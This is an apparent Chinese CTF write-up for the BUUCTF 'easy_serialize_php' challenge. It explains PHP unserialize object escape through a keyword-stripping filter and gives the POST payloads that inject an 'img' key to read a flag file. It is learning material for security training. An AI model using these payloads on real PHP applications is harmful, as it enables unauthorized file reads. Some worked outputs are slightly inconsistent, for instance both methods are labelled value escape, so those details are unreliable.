BUUCTF之[安洵杯 2019]easy_serialize_php--WP

easy_serialize_php

考点

  • PHP中反序列化的对象逃逸
  • 俩种过滤函数:关键词增加和关键词减少
  • 反序列化对象的逃逸有俩种策略:1.值逃逸 2.键逃逸
  • 键/值逃逸:
    因为序列化的字符串是严格的,对应的格式不能错,比如s:4:“name”,那s:4就必须有一个字符串长度是4的否则就往后要。
    并且反序列化会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号{}外的就都被扔掉。
    如果键值对个数缺少序列化会继续向后延续

Write Up

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

首先是一个GET传参赋值给$function,然后是一个关键词的过滤
2.

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST)

if判断语句,如果$_SESSION存在则把其unset(消除)。之后重新定义$_SESSION最后exact($_POST)
关于exact,如此解释:extract() 函数从数组中将变量导入到当前的符号表。

<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
    
>> $a = Cat; $b = Dog; $c = Horse 
if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

判断是否传参img_path。观察else语句会发现有个sha1不可逆加密,这条语句执行后我们的数据不可控,所以必须执行上面if条件成功的语句。
4.

$serialize_info = filter(serialize($_SESSION));

之后这一条是重要的一条语句,$_SESSION生成一个序列化的对象之后filter函数处理后返回给变量$serialize_info.
5.

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

可以给$function参数赋值phpinfo,看一看会查到什么。发现有个名为 d0g3_f1ag.php,flag可能在这里。
想获取flag,$function是show_image,然后反序列化,base64解密file_get_contents来输出文件内容。

我们POST一个$_SESSION数组,经过3的处理,3里面会给$_SESSION数组的img键里的是一个我们不需要的值,4有过滤函数我们可以利用它来逃逸这个多余的东西。我们设想的是$_SESSION[img]=ZDBnM19mMWFnLnBocA==。ZDBnM19mMWFnLnBocA==是 d0g3_f1ag.php的base64编码结果。

刚刚提到有俩个反序列化逃逸策略键逃逸值逃逸
值逃逸:
构造一个含有一个键值对的数组的POST:
_SESSION[flagphp]=;s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
经过3和4的序列化处理后变成了:

a:2:{s:7:"flagphp";s:48:";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

再经过filter函数处理后成立我们想得到的结果
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
值逃逸:
构造一个含有三个键值对的数组,第一个元素的值被过滤后向后延续第二个元素的键
_SESSION[c]=phpphpphpphpphp&_SESSION[d]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

a:2:{s:1:"c";s:15:"phpphpphpphpphp";s:1:"d";s:57:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

再一次经过filter函数处理后变成了
a:2:{s:1:"c";s:15:"";s:1:"d";s:57:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}
为什么后面还要加一个;s:2:"dd";s:1:"a";}。因为加入3中给定的img参数后数组的键值对个数变成了3个即a:3。为了逃逸3必须新加入一个键值对。

回顾

本题其实就利用过滤函数改变序列化里的数据结构从而构成逃逸。可以使用俩种方法逃逸,值逃逸和键逃逸。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值